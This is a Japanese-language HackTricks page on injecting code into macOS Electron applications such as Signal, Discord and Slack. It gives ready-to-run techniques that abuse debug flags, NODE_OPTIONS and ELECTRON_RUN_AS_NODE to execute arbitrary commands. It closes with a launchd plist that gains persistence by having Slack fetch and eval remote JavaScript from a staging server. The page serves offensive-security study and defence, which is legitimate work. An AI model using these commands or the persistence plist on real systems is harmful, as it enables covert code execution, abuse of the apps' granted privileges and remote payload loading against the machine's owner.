7.9 KiB
macOS Electronアプリケーションのインジェクション
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- サイバーセキュリティ会社で働いていますか? HackTricksで会社を宣伝したいですか?または、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを見つけてください。独占的なNFTのコレクションです。
- 公式のPEASS&HackTricksのグッズを手に入れましょう。
- 💬 Discordグループまたはtelegramグループに参加するか、Twitterでフォローしてください🐦@carlospolopm。
- ハッキングのトリックを共有するには、PRを hacktricks repo と hacktricks-cloud repo に提出してください。
Electronアプリケーションへのコードの追加
ElectronアプリのJSコードは署名されていないため、攻撃者はアプリを書き込み可能な場所に移動し、悪意のあるJSコードをインジェクションしてそのアプリを起動し、TCCの権限を乱用することができます。
ただし、**kTCCServiceSystemPolicyAppBundles
**権限を変更するには、必要です。したがって、デフォルトではこれはもはや可能ではありません。
Electronアプリケーションの検査
こちらによると、--inspect
、--inspect-brk
、**--remote-debugging-port
**などのフラグを使用してElectronアプリケーションを実行すると、デバッグポートが開かれ、それに接続することができます(たとえば、Chromeのchrome://inspect
から)そして、コードをインジェクトしたり、新しいプロセスを起動したりすることができます。
例えば:
{% code overflow="wrap" %}
/Applications/Signal.app/Contents/MacOS/Signal --inspect=9229
# Connect to it using chrome://inspect and execute a calculator with:
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator')
{% endcode %}
{% hint style="danger" %}
注意してください。hardened Electronアプリケーションでは、RunAsNodeが無効になっているため、起動時に--inspectなどのノードパラメータは無視されます。ただし、環境変数**ELECTRON_RUN_AS_NODE
**が設定されている場合は、electronパラメータ--remote-debugging-port=9229
を使用することができますが、以前のペイロードは他のプロセスを実行するためには機能しません。
{% endhint %}
NODE_OPTIONS
{% hint style="warning" %}
この環境変数は、Electronアプリケーションが適切にハード化されており、それを許可している場合にのみ機能します。ハード化されている場合は、**環境変数ELECTRON_RUN_AS_NODE
**も使用する必要があります。
{% endhint %}
この組み合わせを使用すると、ペイロードを別のファイルに保存してそのファイルを実行できます:
{% code overflow="wrap" %}
# Content of /tmp/payload.js
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Ca$
# Execute
NODE_OPTIONS="--require /tmp/payload.js" ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord
ELECTRON_RUN_AS_NODE
ドキュメントによると、この環境変数が設定されている場合、プロセスは通常のNode.jsプロセスとして開始されます。
{% code overflow="wrap" %}
# Run this
ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord
# Then from the nodeJS console execute:
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator')
{% endcode %}
ここで提案されているように、この環境変数をplist内で悪用して持続性を維持することができます。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>EnvironmentVariables</key>
<dict>
<key>ELECTRON_RUN_AS_NODE</key>
<string>true</string>
</dict>
<key>Label</key>
<string>com.xpnsec.hideme</string>
<key>ProgramArguments</key>
<array>
<string>/Applications/Slack.app/Contents/MacOS/Slack</string>
<string>-e</string>
<string>const { spawn } = require("child_process"); spawn("osascript", ["-l","JavaScript","-e","eval(ObjC.unwrap($.NSString.alloc.initWithDataEncoding( $.NSData.dataWithContentsOfURL( $.NSURL.URLWithString('http://stagingserver/apfell.js')), $.NSUTF8StringEncoding)));"]);</string>
</array>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- サイバーセキュリティ会社で働いていますか? HackTricksで会社を宣伝したいですか?または、最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを見つけてください。独占的なNFTのコレクションです。
- 公式のPEASS&HackTricksのグッズを手に入れましょう。
- 💬 Discordグループまたはテレグラムグループに参加するか、Twitterでフォローしてください🐦@carlospolopm.
- ハッキングのトリックを共有するには、PRを hacktricks repo と hacktricks-cloud repo に提出してください。